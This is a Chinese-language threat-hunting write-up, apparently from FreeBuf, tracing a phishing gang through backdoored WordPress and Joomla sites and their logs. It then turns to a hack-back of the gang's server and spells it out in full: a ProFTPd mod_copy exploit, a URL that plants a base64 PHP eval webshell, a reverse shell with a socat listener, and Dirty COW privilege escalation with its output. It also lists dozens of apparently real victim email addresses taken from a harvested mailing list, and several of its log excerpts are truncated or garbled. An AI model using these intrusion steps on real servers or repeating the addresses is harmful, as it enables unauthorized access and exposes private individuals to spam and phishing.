  9. -rw-r--r-- 1 1365 1328 68187 11 30 21:15 instadyqan.publik.live-Nov-2018.gz
  10. -rw-r--r-- 1 1365 1328 34530 11 30 21:15 instadyqan.publik.live-ssl_log-Nov-2018.gz
  11. -rw-r--r-- 1 1365 1328 35748 11 30 21:15 pigmentnews.publik.live-Nov-2018.gz
  12. -rw-r--r-- 1 1365 1328 7709 11 28 21:15 pigmentnews.publik.live-ssl_log-Nov-2018.gz
  13. -rw-r--r-- 1 1365 1328 129055 11 30 21:15 publik.live-Nov-2018.gz
  14. -rw-r--r-- 1 1365 1328 14487 11 30 21:15 publik.live-ssl_log-Nov-2018.gz
  15. -rw-r--r-- 1 1365 1328 88292 11 30 21:15 zebramedia.publik.live-Nov-2018.gz
  16. -rw-r--r-- 1 1365 1328 139759 11 30 21:15 zebramedia.publik.live-ssl_log-Nov-2018.gz
  17. -rw-r--r-- 1 1365 1328 6047261 11 30 21:15 zeri-popullit.publik.live-Nov-2018.gz
  18. -rw-r--r-- 1 1365 1328 52004 11 30 21:15 zeri-popullit.publik.live-ssl_log-Nov-2018.gz

分析

  1. 根據後門檔名匹配Apache訪問日誌到攻擊者代理IPUser Agent
  2.  root@kali /tmp/zebramedia.al/log/home/vayqpdvg/logs grep "INSTALL.sql.txt.php" * |grep"php" | awk -":" `{print $2}` |awk `{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}`|sort |uniq
  3. 148 197.211.61.82 (奈及利亞)
  4. 8 178.128.221.199 希臘
  5.  root@kali /tmp/zebramedia.al/log/home/vayqpdvg/logs grep "INSTALL.sql.txt.php" * |grep "php" |grep "POST" |awk -":" `{print $2 $6}` |sort |uniq
  6. 178.128.221.199 - - [29/Nov/2018//www.zebramedia.al/wp-content/themes/shells/INSTALL.sql.txt.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36"
  7. 197.211.61.82 - - [29/Nov/2018//www.zebramedia.al/wp-content/themes/shells/INSTALL.sql.txt.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"

4.5.2 網站helioncomposites.com

打包

  1. 日誌路徑:
  2. /home2/helionco/access-logs/helioncomposites.com/
  3. 日誌備份:
  4. ls /home2/helionco/logs/
  5. ftp.helioncomposites.com-ftp_log-Feb-2018.gz
  6. helioncomposites.com-Dec-2018.gz
  7. helioncomposites.com-Nov-2018.gz
  8. helioncomposites.com-ssl_log-Dec-2018.gz
  9. helioncomposites.com-ssl_log-Nov-2018.gz
  10. tar zcvf /home2/helionco/www/helioncomposites.com-www.tar.gz --exclude=/home2/helionco/www/helioncomposites.com-www.tar.gz /home2/helionco/www/
  11. tar zcvf /home2/helionco/www/helioncomposites.com-log.tar.gz /home2/helionco/logs/ /home2/helionco/access-logs/helioncomposites.com/

下載

  1. wget http://helioncomposites.com/helioncomposites.com-log.tar.gz
  2. wget http://helioncomposites.com/helioncomposites.com-www.tar.gz

分析

  1. 根據後門檔名匹配Apache訪問日誌到攻擊者代理IPUser Agent
  2.  root@kali /tmp grep ".php" * |grep "/home2/helionco/public_html/" |grep "HTTP/1.1" 200" |awk -":" `{print $2}` |awk `{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}`|sort -" " -1 -->ip.txt
  3. 1137 198.143.51.17
  4. 588 198.143.38.3
  5. 478 198.143.41.14
  6. 246 198.143.32.13
  7. 131 198.143.32.3
  8. 103 198.143.57.3
  9. 86 198.143.57.73
  10. 84 198.143.57.5
  11. 46 198.143.32.10
  12. 32 198.143.37.15
  13. ......
  14.  root@kali /tmp for line in $(</ip.txt); do curl https://ip.cn/?ip=$line ; done
  15. IP: 198.143.51.17 來自: 以色列 Incapsula
  16. IP: 198.143.38.3 來自: 美國 Incapsula
  17. IP: 198.143.41.14 來自: 美國 Incapsula
  18. IP: 198.143.32.13 來自: 美國 Incapsula
  19. IP: 198.143.32.3 來自: 美國 Incapsula
  20. IP: 198.143.57.3 來自: 美國 Incapsula
  21. IP: 198.143.57.73 來自: 美國 Incapsula
  22. IP: 198.143.57.5 來自: 美國 Incapsula
  23. IP: 198.143.32.10 來自: 美國 Incapsula
  24. ......

這個網站由於日誌不全提取出的IP大都是爬蟲IP所以不納入最終的彙總。

4.5.3 發現釣魚程式

網站 zebramedia.al 上發現多個攻擊者放置的釣魚程式和模板。

針對Dropbox  
郵件釣魚攻擊與溯源針對Gmail

郵件釣魚攻擊與溯源

4.6 關聯分析

使用之前得到的後門檔案中的關鍵字config.php對這3個網站檔案進行匹配發現其中2個存在相同後門檔案並且檔案MD5值相同。

  1.  root@kali /tmp find . -name "*.php" |xargs grep "$bm_____s" |awk -":" `{print $1}`
  2. ./rosturplast.com/www/rosturplast.com/shells/config.php
  3. ./mirohaviar.sk/www/config.php
  4. ./zebramedia.al/www/zebramedia.al/config.php
  5. ./www.radiolanalhue.cl/www/public_html/online/administrator/templates/bluestork/config.php

後門檔案MD5

  1.  root@kali /tmp find . -name "*.php" |xargs grep "$bm_____s" |awk -":" `{print $1}`|xargs md5sum
  2. e5c06f1f66781ba5c39d909096c4cd47./rosturplast.com/www/rosturplast.com/shells/config.php
  3. e5c06f1f66781ba5c39d909096c4cd47 ./mirohaviar.sk/www/config.php
  4. e5c06f1f66781ba5c39d909096c4cd47 ./zebramedia.al/www/zebramedia.al/config.php
  5. e5c06f1f66781ba5c39d909096c4cd47./www.radiolanalhue.cl/www/public_html/online/administrator/templates/bluestork/config.php

五、滲透攻擊者肉雞伺服器

5.1 漏洞掃描

目標187.85.134.4

[+] HOST: 187.85.134.4巴西  
[+] OS: Ubuntu  
[+] Web Server: Apache/2.2.22 / PHP/5.3.10-1ubuntu3.19  
[+] CMS: 未知

  1. nmap --script=firewalk --traceroute 187.85.134.4

郵件釣魚攻擊與溯源

5. 漏洞利用

埠掃描發現目標 FTP Server為ProFTPd 1.3.4a這個版本和1.3.5存在未授權檔案複製漏洞我們可以通過這個漏洞往Web目錄寫入一個WebShell。

  1. ProFTPd 1.3.5 Remote Command ExecutionCVE-2015-3306
  2. ProFTPD中使用的mod_copy模組存在未授權訪問風險導致ProFTPD自帶的命令 SITE CPFR  SITE CPTO可在未登入ftp的情況被外部黑客所利用對系統檔案進行任意複製。

郵件釣魚攻擊與溯源

5. 獲取許可權

使用用MSF執行 

郵件釣魚攻擊與溯源得到一個cmd功能的WebShell  

郵件釣魚攻擊與溯源

寫入中國菜刀客戶端

  1. http://187.85.134.4/lndex.php?img=echo PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+Cg== |base64 -d >/var/www/index2.php

郵件釣魚攻擊與溯源

5.3 檔案分析

在Web目錄下面發現用於傳送釣魚郵件的perl指令碼、郵件釣魚樣本和大量的郵箱地址。以及挖礦後門、DDOS指令碼等。

郵件釣魚攻擊與溯源

郵件釣魚攻擊與溯源

5.3.1 釣魚模板

圖示是針對丹麥丹斯克銀行Danske Bank和希臘阿爾法銀行Alpha Bank的郵件釣魚樣本。

郵件釣魚攻擊與溯源

郵件釣魚攻擊與溯源

郵件釣魚攻擊與溯源

郵件釣魚攻擊與溯源

郵件釣魚攻擊與溯源

郵件釣魚攻擊與溯源

5.3.2 殭屍網路程式

image.png郵件釣魚攻擊與溯源

5.3.3 DDOS指令碼

郵件釣魚攻擊與溯源

5.3.4 郵箱地址

統計目錄下的 txt 文字數量發現共有六十二萬四千個郵箱地址。

  1.  root@kali /tmp/187.85.134.4/www/cacat wc -*.txt
  2. 624000 總用量

主流郵箱檢索

  1.  root@kali /tmp/187.85.134.4/www/cacat grep "@gmail.com" *.txt |head -20
  2. a0000001.txt:a.l.v.e.rtadsmileyksso@gmail.com
  3. a0000001.txt:a.l.v.ertadsmileyksso@gmail.com
  4. a0000001.txt:a.lfer.gm@gmail.com
  5. a0000001.txt:a.lieseijsink@gmail.com
  6. a0000001.txt:a.linkhusen@gmail.com
  7. a0000001.txt:a.loldrup@gmail.com
  8. a0000001.txt:a.lovendahl@gmail.com
  9. a0000001.txt:a.lv.e.rtadsmileyksso@gmail.com
  10. a0000001.txt:a.lver.tadsmileyksso@gmail.com
  11. a0000001.txt:a.m.edsberg@gmail.com
  12. a0000001.txt:a.m.morcke@gmail.com
  13. a0000001.txt:a.m.quist@gmail.com
  14. a0000001.txt:a.m.svendsen@gmail.com
  15. a0000001.txt:a.merete.p@gmail.com
  16. a0000001.txt:a.mette.sm@gmail.com
  17. a0000001.txt:a.miller8111@gmail.com
  18. a0000001.txt:a.moejbaek@gmail.com
  19. a0000001.txt:a.moltkehansen@gmail.com
  20. a0000001.txt:a.munktved@gmail.com
  21. a0000001.txt:a.n.knutzen@gmail.com
  22.  root@kali /tmp/187.85.134.4/www/cacat grep "@outlook.com" *.txt |head -20
  23. a0000001.txt:a.m.westra@outlook.com
  24. a0000001.txt:a.olsen@outlook.com
  25. a0000002.txt:aagren@outlook.com
  26. a0000003.txt:aandanimalcity@outlook.com
  27. a0000003.txt:aarhus-ungegruppe@outlook.com
  28. a0000004.txt:aase.lousdal@outlook.com
  29. a0000006.txt:abroschultz@outlook.com
  30. a0000008.txt:adamfred2@outlook.com
  31. a0000008.txt:adexecsolution@outlook.com
  32. a0000010.txt:adrian.f.a.svendsen@outlook.com
  33. a0000015.txt:aiah@outlook.com
  34. a0000015.txt:aimeegarcia584@outlook.com
  35. a0000016.txt:ajolicoeu@outlook.com
  36. a0000018.txt:akstrup@outlook.com
  37. a0000020.txt:alexander_bangsborg@outlook.com
  38. a0000020.txt:alexanderkopke@outlook.com
  39. a0000020.txt:ali__sivan@outlook.com
  40. a0000021.txt:alicegerner@outlook.com
  41. a0000022.txt:allanjeppesen@outlook.com
  42. a0000023.txt:allworlduseu@outlook.com
  43.  root@kali /tmp/187.85.134.4/www/cacat grep "@163.com" *.txt |head -20
  44. a0000001.txt:a31a18615@163.com
  45. a0000001.txt:a398c671@163.com
  46. a0000059.txt:backlink0321@163.com
  47. a0000061.txt:banqianm8256@163.com
  48. a0000075.txt:bf86ad32@163.com
  49. a0000121.txt:cbb146672@163.com
  50. a0000129.txt:chenbin800519@163.com
  51. a0000134.txt:chuofuh3082@163.com
  52. a0000157.txt:davidhuang001@163.com
  53. a0000162.txt:dfjiuew@163.com
  54. a0000209.txt:f08dbf326@163.com
  55. a0000213.txt:fanxued79193@163.com
  56. a0000221.txt:fjfzpy@163.com
  57. a0000227.txt:fon@163.com
  58. a0000259.txt:guangdk@163.com
  59. a0000311.txt:huhuanqiang00161@163.com

5.4 提權

5.4.1 CVE-2013-2094CVE-2013-1763提權

檢視apache日誌目錄發現沒有許可權。

  1. [/var/www/]$ls -al /var/log/apache2/
  2. ls: cannot open directory /var/log/apache2/: Permission denied

核心版本為3.5.0-23嘗試提權。

  1. [/var/www/]$cat /etc/issue
  2. Ubuntu 12.04.2 LTS
    l
  3. [/var/www/]$uname -an
  4. Linux medidor2 3.5.0-23-generic #35~precise1-Ubuntu SMP Fri Jan 25 17:15:33 UTC 2013 GNU/Linux

郵件釣魚攻擊與溯源

  1. WebShell反彈
  2. [/var/www/]$cd /var/tmp;./pty xxx.xxx.xxx.xxx 443
  3. 外網VPS監聽
  4. socat file:`tty`,echo=0,raw tcp-listen:443

郵件釣魚攻擊與溯源

實際測試CVE-2013-2094CVE-2013-1763均無法提權。

  1. CVE-2013-2094
  2. Linux Kernel 3.2.0-23/3.5.0-23 (Ubuntu
  3. 12.04/12.04.1/12.04.2 x64) - `perf_swevent_init` Local Privilege Escalation (3)
  4. CVE-2013-1763
  5. Linux Kernel < 3.5.0-23 (Ubuntu 12.04.2 x64) - `SOCK_DIAG` SMEP Bypass Local PrivilegeEscalation

5.4.2 髒牛提權

祭出大殺器CVE-2016-5195髒牛 理論上通殺 2.6.22 < 3.9 (x86/x64)的核心版本。

在本地環境提權測試過程中發現i386架構下使用cowroot提權時EXP會破壞原始檔導致提權失敗。而使用dirtycow-mem僅修改記憶體則沒有問題但是存在核心崩潰的風險。這兩個EXP都是利用/proc/self/mem提權前一個修改檔案後一個修改記憶體。

如圖所示  
郵件釣魚攻擊與溯源

使用dirtycow-mem.c提權時需要注意i386架構下編譯前需要將原始碼中libc路徑修改為目標系統libc路徑否則執行時找不到檔案。

  1. #define SHELLCODE "x31xc0xc3"
  2. #define SPACE_SIZE 256
  3. #define LIBC_PATH "/lib/x86_64-linux-gnu/libc.so.6" ## 改為 /lib/i386-linux-gnu/libc.so.6
  4. #define LOOP 0x1000000
  5. #ifndef PAGE_SIZE
  6. #define PAGE_SIZE 4096

Give me root  :提權成功。

  1. www-data@medidor2:/tmp$gcc -Wall -o hello dirtycow-mem.-ldl -lpthread
  2. www-data@medidor2:/tmp$ ls
  3. hello
  4. www-data@medidor2:/tmp$ chmod +x hello
  5. www-data@medidor2:/tmp$ id
  6. uid=33(www-data) gid=33(www-data) groups=33(www-data)
  7. www-data@medidor2:/tmp$ ./hello
  8. [*] range: b7573000-b7716000]
  9. [*] getuid = b762bd10
  10. [*] mmap 0xb73cb000
  11. [*] exploiting (patch)
  12. [*] patched (madviseThread)
  13. [*] patched (procselfmemThread)
  14. root@medidor2:/tmp# [*] exploiting (unpatch)
  15. [*] unpatched: uid=33 (madviseThread)
  16. [*] unpatched: uid=33 (procselfmemThread)
  17. root@medidor2:/tmp# id
  18. uid=0(root) gid=0(root) groups=0(root)

打包Apache日誌。

  1.   root@kali ls /var/log/apache2
  2. access error other_vhosts_access.log
  3.   root@kali tar zcvf /var/www/apache2-log.tar.gz /var/log/apache2/
  4.   root@kali /tmp ltor wget http://187.85.134.4/apache2-log.tar.gz
  5. [proxychains] config file found: /data/app/local/proxychains_local_tor/proxychains.conf
  6. [proxychains] preloading /data/app/local/proxychains_local_tor/libproxychains4.so
  7. [proxychains] DLL init
  8. --2019-01-09 22:09:00-- http://187.85.134.4/apache2-log.tar.gz
  9. 正在連線 187.85.134.4:80... [proxychains] Strict chain ... 127.0.0.1:9050 ...187.85.134.4:80 ... OK
  10. 已連線。
  11. 已發出 HTTP 請求正在等待回應... 200 OK
  12. 長度9258688 (8.8M) [application/x-gzip]
  13. 正在儲存至: apache2-log.tar.gz
  14. apache2-log.tar.gz 100%[===================>] 8.83M 29.6KB/用時 5m 45s
  15. 201-11-11 11:11:11 (26.2 KB/s) - 已儲存 apache2-log.tar.gz [9258688/9258688])

5.5 分析日誌

分析IP訪問情況

  1.  root@kali /tmp/ grep "/cacat/" * |grep "php" | awk -":" `{print $2}` |awk`{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}` |sort -" " -1 -->ip.txt
  2. 95 185.56.80.138
  3. 77 197.211.60.52
  4. 70 67.71.3.8
  5. 59 207.35.210.35
  6. 41 99.226.207.46
  7. 41 193.215.40.238
  8. 39 197.211.59.163
  9. 38 82.61.95.132
  10. 38 66.249.73.95
  11. 37 76.26.34.181
  12. 37 197.234.221.77
  13. 31 105.112.27.60
  14. 29 105.112.23.41
  15. 20 109.166.138.68
  16. 16 66.249.79.61
  17. 16 197.211.61.18
  18. 14 212.100.77.191
  19. 12 197.234.221.210
  20. 8 66.249.79.35
  21. 8 66.249.73.64
  22. 7 154.118.69.165
  23. 5 66.249.73.67
  24. ......
  25.  root@kali /tmp for line in $(<ip.txt); do curl https://ip.cn/?ip=$line ; done
  26. IP: 185.56.80.138 來自: 荷蘭
  27. IP: 197.211.60.52 來自: 奈及利亞
  28. IP: 67.71.3.8 來自: 加拿大
  29. IP: 207.35.210.35 來自: 加拿大
  30. IP: 99.226.207.46 來自: 加拿大
  31. IP: 193.215.40.238 來自: 挪威
  32. IP: 197.211.59.163 來自: 奈及利亞
  33. IP: 82.61.95.132 來自: 義大利
  34. IP: 66.249.73.95 來自: Google 骨幹網
  35. IP: 76.26.34.181 來自: 美國
  36. IP: 197.234.221.77 來自: 貝南
  37. IP: 105.112.27.60 來自: 奈及利亞
  38. IP: 105.112.23.41 來自: 奈及利亞
  39. IP: 109.166.138.68 來自: 羅馬尼亞
  40. IP: 66.249.79.61 來自: Google 骨幹網
  41. IP: 197.211.61.18 來自: 奈及利亞
  42. IP: 212.100.77.191 來自: 奈及利亞
  43. IP: 197.234.221.210 來自: 貝南
  44. IP: 66.249.79.35 來自: Google 骨幹網
  45. IP: 66.249.73.64 來自: Google 骨幹網
  46. IP: 154.118.69.165 來自: 奈及利亞
  47. IP: 66.249.73.67 來自: Google 骨幹網
  48. ......

根據路徑名判斷疑似受害者訪問了釣魚頁面。

  1.  root@kali /tmp/ grep "/cacat" *| grep "php" |grep "POST" |awk -":" `{print $2 $6}`|sort |uniq
  2. 109.166.138.68 - - [31/Jan/2018//187.85.134.4/cacat/portal/portal/userlogin.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"
  3. 109.166.138.68 - - [31/Jan/2018//187.85.134.4/cacat/portal/portal/userlogin.php?sfm_sid=120" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"
  4. 185.56.80.138 - - [31/Jan/2018//187.85.134.4/cacat/portal/portal/userlogin.php?sfm_sid=8425" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36"
  5. 196.52.34.20 - - [12/Oct/201835.0) Gecko/20100101 Firefox/35.0"
  6. 207.35.210.35 - - [21/Aug/2018//187.85.134.4/cacat/win2018/winbnk/EBlogin.html?sitecode=GR&lang=el-GR" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36"
  7. 197.211.60.52 - - [07/Sep/2018:16:02:40 -0300] "GET /cacat/nnnnn.zip HTTP/1.1" 2004489167 "http://187.85.134.4/cacat/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"

檢視web目錄下txt檔案訪問情況總共有一萬多IP。訪問地址包含受害者主機IP、各種搜尋引擎爬蟲IP、各路黑客的IP等等。

  1. grep "/cacat/" * |grep "txt" | awk -":" `{print $2}` |awk `{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}` |sort -" " -1 -->ip.txt

  1.  root@kali ~/Desktop wc -l ip.txt
  2. 10101 ip.txt

5.6 訪問IP熱力圖

5.6.1 IP轉經緯度座標

將獲得的IP轉換成經緯度座標再通過百度地圖API生成熱力圖

將IP轉換成經緯度座標指令碼ip2xy.py  
生成經緯度座標檔案point.js  
全球IP庫GeoLiteCity.dat

  1. #!/usr/bin/python
  2. #coding:utf-8
  3. import pandas as pd
  4. import pygeoip
  5. import types
  6. import sys
  7. gi = pygeoip.GeoIP(`/tmp/GeoLiteCity.dat`, pygeoip.MEMORY_CACHE)
  8. def getLocal(ip):
  9. if type(ip) != types.StringType:
  10. print ip
  11. return
  12. location = gi.record_by_addr(ip)
  13. if location is None:
  14. print ip
  15. return
  16. lng = location[`longitude`]
  17. lat = location[`latitude`]
  18. str_temp = `{"lat":` + str(lat) + `,"lng":` + str(lng) + `},
    `
  19. print ip,lng,lat,str_temp
  20. file.write(str_temp)
  21. file = open(`/tmp/point.js`, `w`)
  22. file.write("var points =[
    "
    )
  23. with open("/tmp/ip.txt") as f:
  24. = 0
  25. for ip in f.readlines():
  26. getLocal(ip)
  27. file.write("];
    "
    )
  28. file.close()

5.6.2 呼叫百度地圖API

本地呼叫百度地圖 JavaScript API map.html

  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4. <!DOCTYPE html>
  5. <html>
  6. <head>
  7. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  8. <meta name="viewport" content="initial-scale=1.0, user-scalable=no" />
  9. <script type="text/javascript" src="http://api.map.baidu.com/api?v=2.0&ak=填寫自己的百度AK"></script>
  10. <script type="text/javascript"src="http://api.map.baidu.com/library/Heatmap/2.0/src/Heatmap_min.js"></script>
  11. <script type="text/javascript" src="./point.js"></script>
  12. <title>熱力圖功能示例</title>
  13. <style type="text/css">
  14. ul,li{list-style: none;margin:0;padding:0;float:left;}
  15. html{height:100%}
  16. body{height:100%;margin:0px;padding:0px;font-family:"微軟雅黑";}
  17. #container{height:100%;width:100%;}
  18. #r-result{width:100%;}
  19. </style>
  20. </head>
  21. <body>
  22. <div id="container"></div>
  23. <div id="r-result" style="display:none">
  24. <input type="button" onclick="openHeatmap();" value="顯示熱力圖"/><input type="button"onclick="closeHeatmap();" value="關閉熱力圖"/>
  25. </div>
  26. </body>
  27. </html>
  28. <script type="text/javascript">
  29. var map = new BMap.Map("container"); // 建立地圖例項
  30. var point = new BMap.Point(34.0224714118,109.0786868715);
  31. map.centerAndZoom(point, 6); // 初始化地圖設定中心點座標和地圖級別
  32. map.setCurrentCity("西安"); //設定當前顯示城市
  33. map.enableScrollWheelZoom(); // 允許滾輪縮放
  34. if(!isSupportCanvas()){
  35. alert(`熱力圖目前只支援有canvas支援的瀏覽器,您所使用的瀏覽器不能使用熱力圖功能~`)
  36. }
  37. //詳細的引數,可以檢視heatmap.js的文件https://github.com/pa7/heatmap.js/blob/master/README.md
  38. //引數說明如下:
  39. /* visible 熱力圖是否顯示,預設為true
  40. * opacity 熱力的透明度,1-100
  41. * radius 勢力圖的每個點的半徑大小
  42. * gradient {JSON} 熱力圖的漸變區間 . gradient如下所示
  43. * {
  44. .2:`rgb(0, 255, 255)`,
  45. .5:`rgb(0, 110, 255)`,
  46. .8:`rgb(100, 0, 255)`
  47. }
  48. 其中 key 表示插值的位置, 0~1.
  49. value 為顏色值.
  50. */
  51. heatmapOverlay = new BMapLib.HeatmapOverlay({"radius":100,"visible":true});
  52. map.addOverlay(heatmapOverlay);
  53. heatmapOverlay.setDataSet({data:points,max:100});
  54. //closeHeatmap();
  55. //判斷瀏覽區是否支援canvas
  56. function isSupportCanvas(){
  57. var elem = document.createElement(`canvas`);
  58. return !!(elem.getContext && elem.getContext(`2d`));
  59. }
  60. function setGradient(){
  61. /*格式如下所示:
  62. {
  63. 0:`rgb(102, 255, 0)`,
  64. .5:`rgb(255, 170, 0)`,
  65. 1:`rgb(255, 0, 0)`
  66. }*/
  67. var gradient = {};
  68. var colors = document.querySelectorAll("input[type=`color`]");
  69. colors = [].slice.call(colors,0);
  70. colors.forEach(function(ele){
  71. gradient[ele.getAttribute("data-key")] = ele.value;
  72. });
  73. heatmapOverlay.setOptions({"gradient":gradient});
  74. }
  75. function openHeatmap(){
  76. heatmapOverlay.show();
  77. }
  78. function closeHeatmap(){
  79. heatmapOverlay.hide();
  80. }
  81. </script>
  82. </body>
  83. </html>

5.6.3 生成熱力圖

如圖所示歐洲IP居多亞洲也不少。至於有多少主機淪陷和多少受害者上鉤無法準確判斷。

郵件釣魚攻擊與溯源

郵件釣魚攻擊與溯源

郵件釣魚攻擊與溯源

六、資訊彙總

根據所得資訊彙總對這個黑客組織資訊進行簡單分析僅供參考。

6.1 組織資訊

名稱

Muslim Cyber Corp – Mujahidin Cyber Army – Family Attack Cyber

地區

巴勒斯坦

成員ID

Hawk_B404 、 MR.S1NS_Y 、 koneksi eror 、 GU3LT03M 、 SinonX 、  
./B4Z1R007 、 ./Bl4ckJ4ck 、 anon99husein 、 4GottenName 、Gantai 、 4nzeL4  
、 AKEMI403

歷史郵箱

alexsin54@yahoo.com  
jasonchowan223@gmail.com  
macacperus@yopmail.com  
bidibidibidi@yopmail.com  
bidi.pici11@hotmail.com  
bidi.cuc@mail.com  
flrnvasilica@gmail.com

組織主頁

http://mujahidincyberarmy.blogspot.com/  
https://www.facebook.com/FamilyAttackCyberOfficial/

6.2 攻擊手段

入侵使用Wordpress、Joomla! CMS的網站、放置釣魚程式批量傳播釣魚郵件。

攻擊目標

早期政治目的居多主要攻擊美國政府機構網站和僱員。近期多為商業目的主要針對歐洲銀行客戶以及亞洲金融機構僱員進行郵件釣魚。

控制主機

187.85.134.4

常用後門

6.3 攻擊歷史

美國聯邦調查局、美國國土安全部、美國司法部

巴勒斯坦黑客已經發布了大約2萬名聯邦調查局FBI和9,000名國土安全部DHS官員的個人資訊  
http://mujahidincyberarmy.blogspot.com/2016/12/inilah-data-informasi-pribadi-20-ribu.html

通過釣魚郵件獲得美國司法部許可權  
http://mujahidincyberarmy.blogspot.com/2016/02/hacker-pro-palestina-terbitkan.html

6.4 代理IP

  1. 174.85.145.99 (美國) - - [27/Nov/2018:23:35:31 +0300] "POST /shells/bacu.php HTTP/1.1"200 4731 "http://www.rosturplast.com/shells/bacu.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
  2. 50.73.252.169 (美國) - - [29/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
  3. 213.233.104.120 (羅馬尼亞) - - [27/Nov/2018:22:10:03 +0300] "GET /shells/config.php HTTP/1.1" 200 124 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0"
  4. 207.228.149.69 (百慕大 ) - - [28/Nov/2018:23:12:54 +0300] "POST /shells/config.php HTTP/1.1" 200 3729 "http://www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
  5. 195.211.23.207 (俄羅斯) - - [27/Nov/2018:22:36:50 +0300] "GET /shells/config.php HTTP/1.1" 200 124 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
  6. 29.205.113.8 (奈及利亞) - - [30/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36"
  7. 212.1.211.3 美國 - - [30/Nov/2018:13:35:36 -0300] "GET /online/templates/beez5/bc.php HTTP/1.1" 200 16823 "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"
  8. 178.128.221.199 希臘- - [29/Nov/2018//www.zebramedia.al/wp-content/themes/shells/INSTALL.sql.txt.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36"
  9. 197.211.61.82 奈及利亞) - - [29/Nov/2018//www.zebramedia.al/wp-content/themes/shells/INSTALL.sql.txt.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"

6.5 被黑網站

  1. 不完全統計
  2. rosturplast.com
  3. mirohaviar.sk
  4. helioncomposites.com
  5. radiolanalhue.cl
  6. zebramedia.al
  7. www.qtfontebispo.com
  8. www.seoeaze.com
  9. vilapoucadeaguiar.com
  10. proyectosphr.cl
  11. u-p.com
  12. www.humanaconsultores.cl
  13. amsogroup.com
  14. www.tdftechnologies.com
  15. www.bvvagos.pt
  16. www.huellasdigitales.cl
  17. lince.apsl.edu.pl
  18. www.fica.unsl.edu.ar
  19. proyectosphr.cl
  20. www.zlobek.uw.edu.pl
  21. ifr.pt
  22. mail.ijrer.org
  23. www.hkmms.org.hk
  24. historia.apsl.edu.pl
  25. www.homeguide.com.sg
  26. onlinecombos.co.in
  27. umo.apsl.edu.pl
  28. www.bpmp2t.lombokbaratkab.go.id
  29. amsogroup.com
  30. viper.cl
  31. www.teniscavancha.cl
  32. www.estacaomedica.pt
  33. terrarestobar.cl
  34. jf-bragado.pt
  35. helioncomposites.com
  36. notariabasualto.cl
  37. ericdiblasi.com
  38. reinamarltda.cl
  39. cobraz.pt
  40. www.stmarypellaia.com
  41. webcam.wm-itservice.at

七、攻擊路徑還原

覆盤整個溯源過程還原攻擊者攻擊路徑。

郵件釣魚攻擊與溯源

               本文作者:信陵君魏無忌  發表於freebuf   小白的我 www.wanqiandu.com


相關文章